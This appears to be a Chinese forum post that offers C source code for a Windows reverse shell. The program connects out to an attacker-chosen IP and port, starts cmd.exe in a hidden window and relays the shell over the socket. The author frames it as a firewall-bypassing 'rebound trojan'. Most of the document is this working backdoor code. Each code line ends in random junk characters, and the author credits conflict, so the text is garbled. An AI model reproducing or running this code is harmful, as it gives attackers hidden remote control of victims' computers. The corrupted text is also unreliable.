这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I|@%|sTW
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/* ============================== HSE9-c=
Rebound port in Windows NT g
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By wind,2006/7 m?V4r#t
===============================*/
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#include 4%0eX]
#include #ih(I7prH
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#pragma comment(lib,"wsock32.lib") Np$pz
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void OutputShell(); kG^DHEne
SOCKET sClient; /Q8E12
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?YOH9%_cs
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void main(int argc,char **argv) !-_0I:m
{ ba^B$$?B o
WSADATA stWsaData; yIC8Rl
int nRet; @7e h/|Y,
SOCKADDR_IN stSaiClient,stSaiServer; Ep>3%{V
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if(argc != 3) # y%Q{
{ %O#) =M~
printf("Useage:\n\rRebound DestIP DestPort\n"); YIvJN
return; oJA%t-&%R
} PbvRh~n
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7Ps I'1v
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M_<O'Ii3
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stSaiClient.sin_family = AF_INET; ,]+P#eXgE
stSaiClient.sin_port = htons(0); cah1'Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^mz&L|h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8D@H4O.
{ }RowAGWL
printf("Bind Socket Failed!\n"); Soy!)c]
return; }OZp[V
} '/trM %<
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stSaiServer.sin_family = AF_INET; yV,ki^^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {4SwCN /
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $6e&sDJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h,o/(GNnW
{ j6]+fo&3
printf("Connect Error!"); +P:xB0Tm
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return; ?-1r$z
} KHV5V3q4
OutputShell(); KCu @5`p
} =NMT H[
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void OutputShell() Y&!M#7/'J3
{ , 7&`V=C
char szBuff[1024]; @*P$4c
SECURITY_ATTRIBUTES stSecurityAttributes; %{WZ
OSVERSIONINFO stOsversionInfo; V3DXoRE-8i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (L}
STARTUPINFO stStartupInfo; K<TVp;N
char *szShell; &7"a.&*9xX
PROCESS_INFORMATION stProcessInformation; <ZGEmQ
unsigned long lBytesRead; e=ZwhRP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o!!";q%DX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (7/fsfsF
stSecurityAttributes.lpSecurityDescriptor = 0; `B'*ln'r5
stSecurityAttributes.bInheritHandle = TRUE; $8zsqd 4?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~'>RK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E^B*:w3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 29]-s Utqv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3
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stStartupInfo.wShowWindow = SW_HIDE; k]?M^jrm
stStartupInfo.hStdInput = hReadPipe; )NAC9:8!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y"q7Gx*^j
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GetVersionEx(&stOsversionInfo); 9ZFvN*Zf'
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switch(stOsversionInfo.dwPlatformId) ;Yo9e~
{ B^g+_;
case 1: ,Fo7E
szShell = "command.com"; #!V
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break; NJK?5{H'
default: mw0#Dhyy1=
szShell = "cmd.exe"; Q -;ltJ
break; b*$/(2"m
} SxV(.i'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s33< }O0
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send(sClient,szMsg,77,0); BkfWZ O{7
while(1) s!S,;H
{ Y^5X>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <K4`GT"n
if(lBytesRead) S~^0
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{ C {.{>M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lOp/kGmn+
send(sClient,szBuff,lBytesRead,0); +<&\*VR
} LL3RC6;e
else !g:UkU\J
{ |rJ_
lBytesRead=recv(sClient,szBuff,1024,0); z{T2!w~[
if(lBytesRead<=0) break; XvBEC_xWZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f:iK5g
} L8-
} mY"DYYR>
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return; "aNl2 T
}